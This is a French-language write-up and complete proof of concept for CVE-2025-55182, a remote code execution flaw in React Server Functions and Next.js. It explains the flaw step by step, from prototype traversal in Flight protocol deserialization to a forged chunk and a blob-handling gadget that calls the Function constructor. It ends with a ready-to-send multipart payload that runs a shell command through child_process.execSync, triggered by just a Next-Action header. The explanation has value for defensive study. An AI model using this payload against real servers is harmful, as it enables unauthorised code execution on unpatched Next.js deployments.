
Explication et PoC RCE complet pour CVE-2025-55182
Cette vulnérabilité permet une exécution de code à distance (RCE) dans les React Server Functions, par exemple telles qu'offertes par Next.js, via des références de prototype non sécurisées.
Je ne suis pas un expert de React ou Next.js, donc prenez toutes les informations ici avec un grain de sel.
React propose des Server Functions1, que l'on peut considérer comme une sorte de RPC over HTTP. Elles peuvent être utilisées pour récupérer des données depuis des pairs adjacents afin de garantir une faible latence, ou pour effectuer des requêtes authentifiées pour lesquelles le client ne possède pas les identifiants.
React utilise ce qu'on appelle le React Flight Protocol2 pour la sérialisation des valeurs transmises aux Server Functions.
Le client transmet des « chunks » au serveur, par exemple via des données de formulaire :
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Comme illustré, ceux-ci peuvent contenir des références croisées. La charge utile ci-dessus est désérialisée comme suit côté serveur :
{ object: 'fruit', name: 'cherry' }
Le format lui-même est un peu plus complexe et permet une sérialisation et une désérialisation plus élaborées, mais cela donne une compréhension de base de la vulnérabilité proprement dite.
Jusqu'à ce commit3, lors du parcours des chunks pour résoudre les références, comme obtenir fruitName depuis le chunk 2 dans l'exemple ci-dessus, React ne vérifiait pas si la clé demandée était réellement définie sur l'objet. Cela nous permettait d'obtenir le prototype de l'objet4.
Cela peut être démontré avec une charge utile comme celle-ci :
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Qui se désérialise en le constructeur de fonction5 :
[Function: Function]
Lorsque le chunk avec l'ID 0 n'est pas un tableau mais un objet, nous pouvons définir la clé then sur le constructeur de fonction. L'objet est ensuite renvoyé par la fonction decodeReplyFromBusboy et attendu (await) par Next.js :
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Lorsque cela renvoie un thenable, le await chez l'appelant l'invoquera. C'est ce qui se passe avec cette charge utile :
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Ce qui conduit à cette erreur :
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'erreur ressemble à cela car V8 appelle une fonction awaitée avec les fonctions internes resolve et reject, qui, lorsqu'elles sont converties avec toString, se sérialisent en quelque chose comme ceci :
function () { [native code] }
Puisque nous pouvons trivialement récupérer le constructeur Function, la méthode la plus directe consiste à trouver un gadget d'appel qui invoque le constructeur avec une valeur contrôlée par l'utilisateur (c'est-à-dire le code de la fonction sous forme de chaîne), puis appelle la fonction renvoyée.
Il existe plusieurs endroits capables d'appeler le constructeur de fonction, par exemple resolveServerReference, où id est un objet contrôlé, et lastIndexOf peut être redéfini pour renvoyer une chaîne contrôlée par l'utilisateur (par exemple via Array.prototype.join) et slice peut être redéfini sur le constructeur de fonction. Cependant, cet endroit ne fonctionne pas car la seconde invocation de .slice() fournit un nombre comme premier argument, qui - au meilleur de ma connaissance - ne peut jamais être géré par le constructeur de fonction.
C'est là qu'intervient une idée brillante de maple31426. Lorsque getChunk récupère le chunk à l'ID 0 comme référence racine pour commencer à résoudre la chaîne de références, ce même chunk peut se résoudre en un « faux chunk » conçu avec soin.
Nous pouvons référencer le chunk 0 conçu dans le chunk 1 en utilisant la syntaxe $@, qui renvoie le chunk « brut », et non sa valeur résolue :
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
En combinant cela avec notre redéfinition de then ci-dessus, nous pouvons concevoir quelque chose comme ceci :
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Ici, le chunk 0 redéfinit son propre .then() avec le .then() de sa propre représentation de chunk brut. En termes simples, nous redéfinissons notre propre .then() avec Chunk.prototype.then, qui existe, car les Chunks sont des thenables :
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Avec la charge utile ci-dessus, Chunk.prototype.then est finalement appelé avec le chunk conçu portant l'ID 0.
Comme montré ci-dessus, lorsque .status sur notre faux chunk est resolved_model :
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Nous entrons dans initializeModelChunk. Ici, .value est analysé comme du JSON, puis les références sont résolues sur l'objet renvoyé, en utilisant le contexte « externe » de nos chunks avec les IDs 0 et 1 :
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
À l'intérieur de cela, nous obtenons maintenant une deuxième passe d'évaluation avec un peu plus de valeurs auxquelles nous avons accès, car le contexte externe est déjà résolu.
Il existe un gadget d'appel dans le traitement des données blob avec le préfixe $B dans le protocole flight :
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
En utilisant le champ spécial _response, nous contrôlons la propriété response du chunk conçu :
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Avec cela, nous pouvons concevoir un objet avec de fausses propriétés ._formData et ._prefix :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Le .reason doit être ajouté pour éviter l'échec de l'invocation toString dans initializeModelChunk :
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
En pointant ._formData vers le constructeur de fonction, et ._prefix vers notre code, nous obtenons un gadget d'invocation pour le constructeur de fonction dans la désérialisation des blobs :
response._formData.get(response._prefix + "0")
// devient
Function("return foo; // 0")
Notre fonction conçue est ensuite renvoyée par parseModelString comme méthode .then() du chunk conçu, laquelle est également attendue (await), car tout cela se déroule dans une unique chaîne de résolution de promesses. Ainsi, en renvoyant un thenable, notre fonction conçue est appelée. Cela constitue le gadget d'appel requis mentionné ci-dessus.
En assemblant tout cela avec une véritable charge utile RCE, nous obtenons quelque chose comme ceci :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Le bonus, qui rend cette vulnérabilité encore plus grave, est que tout cela se produit pendant la désérialisation, avant que l'action demandée ne soit validée dans getActionModIdOrError. Ainsi, définir un en-tête comme Next-Action: foo suffit à déclencher la vulnérabilité.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E